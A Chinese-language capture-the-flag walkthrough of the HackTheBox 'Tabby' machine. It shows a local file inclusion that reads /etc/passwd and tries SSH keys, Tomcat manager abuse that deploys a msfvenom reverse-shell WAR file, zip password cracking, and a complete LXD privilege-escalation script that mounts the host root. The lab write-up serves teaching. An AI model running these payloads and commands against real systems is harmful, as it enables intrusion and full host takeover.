> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Tabby HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" %}
**技能：**

* 本地文件包含（LFI）
* 滥用 Tomcat 虚拟主机管理器
* 滥用 Tomcat 基于文本的管理器 - 部署恶意 WAR（Curl 方法）
* LXD 利用（提权）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/fc57f828d340a3a7448c7018a6cf0e6185b17c29" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/ad3567e48401db8ac7f7ca16eee30539d69ca4d1" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
```

<figure><img src="/files/aed9502b0885488baf61d3d7ad6c2dd5825b923b" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/5c8752a2de5f07150c255d8ecc32a43c7c77af59" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted
```

<figure><img src="/files/7383caba0cb77bfc902db8a230d3725f96137172" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/d626981ab9538297f1f765911196346fde921d83" alt=""><figcaption></figcaption></figure>

### **80 端口：**

<figure><img src="/files/7765e8ce0d53ea59f6e7f3c76841af007ee29da0" alt=""><figcaption></figcaption></figure>

**目录搜索：**

我们使用 Gobuster 在网站上搜索目录：

```bash
gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* **结果：** `资源`, `文件`，以及 `server-status`.

<figure><img src="/files/7640066b5653642bfb01480cf0c9de921a6b1daf" alt=""><figcaption></figcaption></figure>

搜索子域名：

```bash
gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400"
```

<figure><img src="/files/ffaa291a77599a4172de2cdc2a6e981b1cf09a67" alt=""><figcaption></figcaption></figure>

## LFI 漏洞：

访问存在漏洞的文件 `new.php` 通过一个 `?file` 中的变量 `语句` 文件夹。

<figure><img src="/files/a0bfee818af843d408ff0ecd974379e451e82be4" alt=""><figcaption></figcaption></figure>

**测试本地文件包含（LFI）**:

`http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/0603498706fe96f65d9f971b8031799562f2a268" alt=""><figcaption></figcaption></figure>

* **结果：** 访问文件 `/etc/passwd`，显示出两个用户： `ash` 和 `root`.

**尝试访问 Ash 的私有 SSH 密钥**:

`?file=../../../../../../../home/ash/.ssh/id_rsa`

* **结果：** 访问被拒绝。

<figure><img src="/files/6193f25b4851188fcf922fef2ea4eded0b9df30e" alt=""><figcaption></figcaption></figure>

**搜索内部端口** 通过 `/proc/net/tcp` 文件来识别隐藏服务：

<figure><img src="/files/3b46cfaa3db68fae007cfb9992f8171ef80f8535" alt=""><figcaption></figcaption></figure>

**搜索内部端口** 通过 `/proc/net/tcp` 文件来识别隐藏服务：

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 { 
    # 获取 local_address 字段
    split($2, addr_port, ":");
    
    # 将地址转换为 IP 格式
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d", 
                 strtonum("0x" substr(hex_addr, 7, 2)), 
                 strtonum("0x" substr(hex_addr, 5, 2)), 
                 strtonum("0x" substr(hex_addr, 3, 2)), 
                 strtonum("0x" substr(hex_addr, 1, 2)));

    # 将端口转换为十进制
    port = strtonum("0x" addr_port[2]);
    
    # 以 IP:端口 格式打印结果
    printf "%s:%d/n", ip, port;
}'
```

**结果：** 发现内部端口 `34650`

<figure><img src="/files/6f599e6d79ac8ea09f0500aeddd8e5c59803e319" alt="" width="563"><figcaption></figcaption></figure>

### **Tomcat 虚拟主机管理器利用（8080 端口）**

**访问 Tomcat** 通过 8080 端口并查找认证信息。默认情况下，这些信息存储在 `/etc/tomcat9/tomcat-users.xml` 或 `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/8bc618c788bbe6b25da387010ada6eeebc9b88e6" alt=""><figcaption></figcaption></figure>

**凭据** 找到：

`用户名 = tomcat`

`密码 = $3cureP4s5w0rd123!`

<figure><img src="/files/1e3fdd592d90469d24721194662ad5e99a37cb6e" alt=""><figcaption></figcaption></figure>

**尝试访问** `/manager/html` 返回 403 错误。<br>

<figure><img src="/files/5a0633e2ea68afe512bac3ab482c0796dbf67b7b" alt=""><figcaption></figcaption></figure>

1. **另一种方式是通过 `/host-manager/html`**，但无法创建一个带有 `.war` 文件中的用户进行测试。

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/c1988c418a2f47cd30e94c81f15cce8cfb6122e3" alt=""><figcaption></figcaption></figure>

### **Tomcat 基于文本的管理器利用**

**列出命令行应用程序**:

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/2b7ca81c8312ca8543be6a037a290eec4a43cee3" alt=""><figcaption></figcaption></figure>

**创建用于反向 Shell 的 WAR 文件** 替换为 `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/e002fcb781c9a81ec90b2185dd9d0e74a211ebcb" alt="" width="563"><figcaption></figcaption></figure>

**通过 Curl 部署 WAR 文件** ：

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/e90d0984376785b1b6ac3a57742fb2306343781e" alt=""><figcaption></figcaption></figure>

**监听反向 Shell 连接**

```bash
nc -nlvp 443 
```

**反向 Shell 访问** 通过 URL `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/2e8f7ba29a3857f30c7a2a6b2b490f88e7671a11" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e756cb1235c00ea967895e9988f87617d987d6bd" alt="" width="563"><figcaption></figcaption></figure>

#### 终端处理

一旦你获得了 Linux 服务器的访问权限，以下是进行终端处理需要执行的命令

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### 稳定 shell 以便更舒适地工作。 <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## 权限提升：

**探索 `/var/www/html`** 文件夹/ 通过检查此文件夹的内容，我们发现一个文件夹 `文件` 其中包含一个保存文件： `16162020_backup.zip`.

**传输 `.zip` 文件到本地机器**

为便于分析，我们通过使用 Python 启动一个 HTTP 服务器将压缩文件传输到本地机器：

```bash
python3 -m http.server 655
```

<figure><img src="/files/fb9c5b51ce4c05fc88ed887e0bffb68154318dc3" alt=""><figcaption></figcaption></figure>

### 暴力破解 .zip 文件：

**文件解压 `.zip` - 密码暴力破解**/ 该 `.zip` 文件受密码保护。

<figure><img src="/files/f3b788f66bd5fbbe657e20d3ecb021c2eb7f158a" alt="" width="563"><figcaption></figcaption></figure>

**使用……提取哈希值 `zip2john`**:

因此我们将使用 zip2john 来提取哈希值

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="/files/d893269f41f0fc9e2c2947688fcdd3052b41f958" alt=""><figcaption></figcaption></figure>

**使用……进行密码破解 `john`**:

<pre class="language-bash"><code class="lang-bash"><strong>john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
</strong></code></pre>

**结果**：找到密码 - `admin@it`.

<figure><img src="/files/faee2d19789478bb862d9b3145107a641547c8bf" alt=""><figcaption></figcaption></figure>

**内容解压与分析**/ 使用密码解压该归档文件：

<figure><img src="/files/5adad107b53b89a1c71cb5f346d80eb657790d8e" alt="" width="563"><figcaption></figcaption></figure>

解压会创建一个 `var` 文件夹，里面包含一些有用的文件。不过， `admin@it` 该密码也适用于目标机器上的 `ash` 用户。

### User.txt 标志

<figure><img src="/files/9fa16c776f2f0527daf9e5ca7588723bc77d9ed4" alt="" width="563"><figcaption></figcaption></figure>

### LXD 利用：

**确认该用户 `ash` 属于 `lxd` 组**:

通过检查用户 `ash` 所属的组，我们注意到他属于 `lxd` 组，这使得可以利用 LXC 获取 root 权限。

<figure><img src="/files/b332e21e203466e5cb55ce2e0f23c1710a4c3c5f" alt=""><figcaption></figcaption></figure>

**下载并准备利用代码**:

使用 `searchsploit` 以获取 LXC 漏洞（CVE-2020-16941）的利用脚本

<figure><img src="/files/07cbee50f63c2638f6f4a24420019b1f84f1121b" alt="" width="563"><figcaption></figcaption></figure>

该脚本允许你利用 LXC 漏洞以提升权限执行命令。

**利用脚本内容（46978.sh）**:

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/n用法："
  echo -e "/t[-f] 文件名（.tar.gz alpine 文件）"
  echo -e "/t[-h] 显示此帮助面板/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] 正在列出镜像.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] 正在移除容器..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* 该脚本允许我们创建一个具有提权权限的 LXC 容器，从而使我们能够获得目标机器的 root 访问权限。

**下载 Alpine 镜像文件和脚本：**

克隆包含利用所需文件的仓库，并通过本地 HTTP 服务器将它们传输到你的机器。

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

启动本地 HTTP 服务器以提供该文件和脚本

```bash
python3 -m http.server 80
```

在目标机器上，下载脚本和镜像文件：

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/072beb846dde4d40a0c828e1cf580cc02259122c" alt=""><figcaption></figcaption></figure>

**PATH 更新**:

调整 `PATH` 以确保 LXC 命令被正确解析。

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**运行利用脚本**

使用下载的 Alpine 镜像文件运行该脚本，以利用漏洞并获得 root shell：

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/9daba512992fe7a1e9c382aacaea957763d4521b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4b69faa14e848b6b3648240c7462d2eb8a6302e2" alt=""><figcaption></figcaption></figure>

要退出容器，只需进入 `/mnt/root` 目录。

### root 的 flag :)

<figure><img src="/files/c60fedcf0bfe50fc21d2caeda7f9f5584b5727b8" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4599ea519d8a79fe2f3169ed621ab8ad20bebd14" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
